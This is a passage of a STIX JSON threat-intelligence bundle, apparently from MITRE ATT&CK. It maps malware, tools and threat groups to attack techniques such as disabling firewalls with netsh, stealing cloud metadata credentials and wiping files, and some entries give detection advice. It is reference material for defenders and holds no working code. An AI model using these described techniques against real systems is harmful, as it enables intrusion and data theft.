Documentation)","modified":"2022-04-13T14:18:58.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--2c5281dd-b5fd-4531-8aea-c1bf8a0f8756","target_ref":"attack-pattern--7decb26c-715c-40cf-b7e0-026f7d7cc215","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--512879fe-8433-4c78-9345-009ed5168078","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TechNet Netsh","description":"Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.","url":"https://technet.microsoft.com/library/bb490939.aspx"},{"source_name":"TechNet Netsh Firewall","description":"Microsoft. (2009, June 3). Netsh Commands for Windows Firewall. Retrieved April 20, 2016.","url":"https://technet.microsoft.com/en-us/library/cc771046(v=ws.10).aspx"}],"modified":"2020-03-28T01:00:55.146Z","description":"[netsh](https://attack.mitre.org/software/S0108) can be used to disable local firewall settings.(Citation: TechNet Netsh)(Citation: TechNet Netsh Firewall)","relationship_type":"uses","source_ref":"tool--5a63f900-5e7e-4928-a746-dd4558e1df71","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--512b3fed-39aa-407d-b274-5a65229688b7","created":"2022-02-02T13:03:25.635Z","x_mitre_version":"1.0","external_references":[{"source_name":"McAfee Lazarus Nov 2020","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/","description":"Beek, C. (2020, November 5). Operation North Star: Behind The Scenes. Retrieved December 20, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Torisma](https://attack.mitre.org/software/S0678) has used XOR and Base64 to decode C2 data.(Citation: McAfee Lazarus Nov 2020)","modified":"2022-04-13T21:41:44.921Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--0715560d-4299-4e84-9e20-6e80ab57e4f2","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--512e16e9-634c-45d3-b569-c25a3072bbdc","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT30","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}],"modified":"2020-03-16T23:56:46.434Z","description":"[FLASHFLOOD](https://attack.mitre.org/software/S0036) searches for interesting files (either a default or customized set of file extensions) on the local system and removable media.(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--512e5ac4-4b9e-4791-8954-ce5ba574be2b","created":"2024-05-22T22:43:00.808Z","revoked":false,"external_references":[{"source_name":"Unit42 Agrius 2023","description":"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.","url":"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T22:43:00.808Z","description":"[MultiLayer Wiper](https://attack.mitre.org/software/S1135) changes the original path information of deleted files to make recovery efforts more difficult.(Citation: Unit42 Agrius 2023)","relationship_type":"uses","source_ref":"malware--663d7dee-5a47-459e-a5ef-e850a94a8ee5","target_ref":"attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--51300de6-0f80-45dc-92f7-f48dbc887d8c","type":"relationship","created":"2020-05-13T19:59:39.331Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky MoleRATs April 2019","url":"https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/","description":"GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."}],"modified":"2020-05-14T15:14:34.267Z","description":"[DustySky](https://attack.mitre.org/software/S0062) can compress files via RAR while staging data to be exfiltrated.(Citation: Kaspersky MoleRATs April 2019)","relationship_type":"uses","source_ref":"malware--687c23e4-4e25-4ee7-a870-c5e002511f54","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--513128aa-573e-4185-b0dc-88738edacb65","type":"relationship","created":"2020-06-09T21:23:39.165Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Skidmap","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/","description":"Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020."}],"modified":"2020-06-25T13:32:00.202Z","description":"[Skidmap](https://attack.mitre.org/software/S0468) has the ability to install several loadable kernel modules (LKMs) on infected machines.(Citation: Trend Micro Skidmap)","relationship_type":"uses","source_ref":"malware--4b68b5ea-2e1b-4225-845b-8632f702b9a0","target_ref":"attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5135ba35-04b7-4cfc-bc6c-03f63206e757","type":"relationship","created":"2019-04-22T22:31:38.289Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity PowerDuke November 2016","description":"Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.","url":"https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"}],"modified":"2019-04-22T22:31:38.289Z","description":"[PowerDuke](https://attack.mitre.org/software/S0139) has a command to write random data across a file and delete it.(Citation: Volexity PowerDuke November 2016)","relationship_type":"uses","source_ref":"malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--51372934-2c81-4db7-aa38-cbb173698cc2","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.621Z","description":"(Citation: PWC Cloud Hopper Technical Annex April 2017)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--513d7a58-a595-4717-8377-ed144d0e2223","created":"2023-09-27T19:33:56.221Z","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-27T19:33:56.221Z","description":"(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"intrusion-set--7251b44b-6072-476c-b8d9-a6e32c355b28","target_ref":"malware--91c57ed3-7c32-4c68-b388-7db00cb8dac6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--513f6b4c-c9b1-4339-910e-376b2a908689","type":"relationship","created":"2020-12-18T16:48:32.674Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Tetra Defense Sodinokibi March 2020","url":"https://www.tetradefense.com/incident-response-services/cause-and-effect-sodinokibi-ransomware-analysis","description":"Tetra Defense. (2020, March). CAUSE AND EFFECT: SODINOKIBI RANSOMWARE ANALYSIS. Retrieved December 14, 2020."}],"modified":"2020-12-18T16:48:32.674Z","description":"[GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) has used the remote monitoring and management tool ConnectWise to obtain screen captures from victim's machines.(Citation: Tetra Defense Sodinokibi March 2020)","relationship_type":"uses","source_ref":"intrusion-set--c77c5576-ca19-42ed-a36f-4b4486a84133","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--514198d4-dac9-4982-8d80-429b7843b639","created":"2024-06-10T17:36:35.862Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SOCRadar INC Ransom January 2024","description":"SOCRadar. (2024, January 24). Dark Web Profile: INC Ransom. Retrieved June 5, 2024.","url":"https://socradar.io/dark-web-profile-inc-ransom/"},{"source_name":"Huntress INC Ransom Group August 2023","description":"Team Huntress. (2023, August 11). Investigating New INC Ransom Group Activity. Retrieved June 5, 2024.","url":"https://www.huntress.com/blog/investigating-new-inc-ransom-group-activity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-11T18:01:19.137Z","description":"[INC Ransom](https://attack.mitre.org/groups/G1032) has staged data on compromised hosts prior to exfiltration.(Citation: Huntress INC Ransom Group August 2023)(Citation: SOCRadar INC Ransom January 2024)","relationship_type":"uses","source_ref":"intrusion-set--cb41e991-65f4-4668-a65f-f4200545b5a1","target_ref":"attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--514932f5-9112-498a-aa49-24a797f18d0d","type":"relationship","created":"2022-03-30T14:26:51.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.845Z","description":"Monitor for dynamic libraries being loaded. Run path dependent libraries can include LC_LOAD_DYLIB, LC_LOAD_WEAK_DYLIB, and LC_RPATH. Other special keywords are recognized by the macOS loader are @rpath, @loader_path, and @executable_path.(Citation: Apple Developer Doco Archive Run-Path) These loader instructions can be examined for individual binaries or frameworks using the otool -l command. Objective-See's Dylib Hijacking Scanner can be used to identify applications vulnerable to dylib hijacking","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Apple Developer Doco Archive Run-Path","description":"Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved March 31, 2021.","url":"https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html"}]},{"type":"relationship","id":"relationship--514a384a-2b09-4b4f-9def-8e4007b49734","created":"2023-07-31T18:18:33.737Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"},{"source_name":"Secureworks BRONZE SILHOUETTE May 2023","description":"Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.","url":"https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"},{"source_name":"Microsoft Volt Typhoon May 2023","description":"Microsoft Threat Intelligence. (2023, May 24). Volt Typhoon targets US critical infrastructure with living-off-the-land techniques. Retrieved July 27, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/"},{"source_name":"Joint Cybersecurity Advisory Volt Typhoon June 2023","description":"NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. Retrieved July 27, 2023.","url":"https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-21T17:49:45.657Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has discovered file system types, drive names, size, and free space on compromised systems.(Citation: Microsoft Volt Typhoon May 2023)(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citation: Secureworks BRONZE SILHOUETTE May 2023)(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5151bd6c-fb42-49da-9c97-f32a33a505a1","type":"relationship","created":"2020-03-18T14:48:43.980Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html","description":"Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.","source_name":"FireEye APT10 Sept 2018"}],"modified":"2020-03-18T14:48:43.980Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) has renamed [certutil](https://attack.mitre.org/software/S0160) and moved it to a different location on the system to avoid detection based on use of the tool.(Citation: FireEye APT10 Sept 2018)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--51548d6c-0aa9-4813-8493-3d9bbcd0617a","type":"relationship","created":"2020-06-08T19:45:34.998Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"RedCanary Mockingbird May 2020","url":"https://redcanary.com/blog/blue-mockingbird-cryptominer/","description":"Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020."}],"modified":"2020-06-25T13:59:09.923Z","description":"[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has used wmic.exe to set environment variables.(Citation: RedCanary Mockingbird May 2020)","relationship_type":"uses","source_ref":"intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--51551fb5-48df-4143-9163-9b7ffe35bf8f","created":"2021-10-01T01:57:31.785Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Talos Intelligence Group","description":"Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.","url":"https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"},{"source_name":"Trend Micro TeamTNT","description":"Fiser, D. Oliveira, A. (n.d.). Tracking the Activities of TeamTNT A Closer Look at a Cloud-Focused Malicious Actor Group. Retrieved September 22, 2021.","url":"https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-01T17:31:07.707Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has queried the AWS instance metadata service for credentials.(Citation: Trend Micro TeamTNT)(Citation: Cisco Talos Intelligence Group)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--19bf235b-8620-4997-b5b4-94e0659ed7c3","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--51635f44-98d9-4718-b755-cf33e4bf4df9","created":"2022-04-28T16:04:36.576Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity.","modified":"2022-04-28T16:04:36.576Z","relationship_type":"detects","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--51650560-9aff-460b-9766-14c83bdb2198","type":"relationship","created":"2021-10-06T21:37:07.353Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"trendmicro xcsset xcode project 2020","url":"https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf","description":"Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}],"modified":"2021-10-14T22:58:54.559Z","description":"[XCSSET](https://attack.mitre.org/software/S0658) builds a malicious application bundle to resemble Safari through using the Safari icon and Info.plist. (Citation: trendmicro xcsset xcode project 2020)","relationship_type":"uses","source_ref":"malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--51656ee5-4d21-42c9-9719-826645b3508f","created":"2020-06-19T19:08:40.407Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit 42 Valak July 2020","description":"Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020.","url":"https://unit42.paloaltonetworks.com/valak-evolution/"},{"source_name":"SentinelOne Valak June 2020","description":"Reaves, J. and Platt, J. (2020, June). Valak Malware and the Connection to Gozi Loader ConfCrew. Retrieved August 31, 2020.","url":"https://assets.sentinelone.com/labs/sentinel-one-valak-i"},{"source_name":"Cybereason Valak May 2020","description":"Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020.","url":"https://www.cybereason.com/blog/valak-more-than-meets-the-eye"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-30T22:35:19.728Z","description":"[Valak](https://attack.mitre.org/software/S0476) has been executed via Microsoft Word documents containing malicious macros.(Citation: Cybereason Valak May 2020)(Citation: Unit 42 Valak July 2020)(Citation: SentinelOne Valak June 2020)","relationship_type":"uses","source_ref":"malware--ade37ada-14af-4b44-b36c-210eec255d53","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--516712db-0e82-43a5-bd9f-f1a4cb4939c1","created":"2021-11-30T19:34:54.283Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Gelsemium June 2021","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T19:04:06.352Z","description":"[Gelsemium](https://attack.mitre.org/software/S0666) can modify the Registry to store its components.(Citation: ESET Gelsemium June 2021)","relationship_type":"uses","source_ref":"malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--51681b8d-71f1-425f-990a-4daa30e6dfa9","type":"relationship","created":"2021-09-29T00:10:03.012Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Checkpoint IndigoZebra July 2021","url":"https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/","description":"CheckPoint Research. (2021, July 1). IndigoZebra APT continues to attack Central Asia with evolving tools. Retrieved September 24, 2021."}],"modified":"2021-09-29T00:10:03.012Z","description":"(Citation: Checkpoint IndigoZebra July 2021)","relationship_type":"uses","source_ref":"intrusion-set--e5603ea8-4c36-40e7-b7af-a077d24fedc1","target_ref":"malware--21583311-6321-4891-8a37-3eb4e57b0fb1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--516c98bb-bef8-4f24-ac69-acb3b662a870","created":"2021-06-18T15:26:55.712Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit 42 Siloscape Jun 2021","description":"Prizmant, D. (2021, June 7). Siloscape: First Known Malware Targeting Windows Containers to Compromise Cloud Environments. Retrieved June 9, 2021.","url":"https://unit42.paloaltonetworks.com/siloscape/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-08T15:46:56.766Z","description":"[Siloscape](https://attack.mitre.org/software/S0623) uses [Tor](https://attack.mitre.org/software/S0183) to communicate with C2.(Citation: Unit 42 Siloscape Jun 2021)","relationship_type":"uses","source_ref":"malware--4fbd565b-bf55-4ac7-80b4-b183a7b64b9c","target_ref":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--516db385-9b1b-40ec-aa57-7f993caf07cf","created":"2022-03-30T14:26:51.853Z","x_mitre_version":"0.1","external_references":[{"source_name":"Adventures of a Keystroke","url":"http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf","description":"Tinaztepe, E. (n.d.). The Adventures of a Keystroke: An in-depth look into keyloggers on Windows. Retrieved April 27, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for API calls to the SetWindowsHook, GetKeyState, and GetAsyncKeyState.(Citation: Adventures of a Keystroke) and look for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.","modified":"2022-04-20T13:04:41.031Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--516e6ace-278b-46cf-97df-1345572f3467","created":"2024-06-18T20:03:56.393Z","revoked":false,"external_references":[{"source_name":"Google TAG COLDRIVER January 2024","description":"Shields, W. (2024, January 18). Russian threat group COLDRIVER expands its targeting of Western officials to include the use of malware. Retrieved June 13, 2024.","url":"https://blog.google/threat-analysis-group/google-tag-coldriver-russian-phishing-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-18T20:03:56.393Z","description":"(Citation: Google TAG COLDRIVER January 2024)","relationship_type":"uses","source_ref":"intrusion-set--9b36c218-4d80-4ec6-a68d-cc2886bbe410","target_ref":"malware--824a230d-0f6a-4fd0-99df-8d464db2265e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--516e746b-6208-41db-8ea8-4e3fa42f5053","type":"relationship","created":"2020-02-20T18:39:33.171Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://technet.microsoft.com/library/jj865668.aspx","description":"Microsoft. (2012, November 29). Using security policies to restrict NTLM traffic. Retrieved December 4, 2017.","source_name":"Microsoft Disable NTLM Nov 2012"},{"source_name":"Microsoft WDigest Mit","url":"https://support.microsoft.com/en-us/help/2871997/microsoft-security-advisory-update-to-improve-credentials-protection-a","description":"Microsoft. (2014, May 13). Microsoft Security Advisory: Update to improve credentials protection and management. Retrieved June 8, 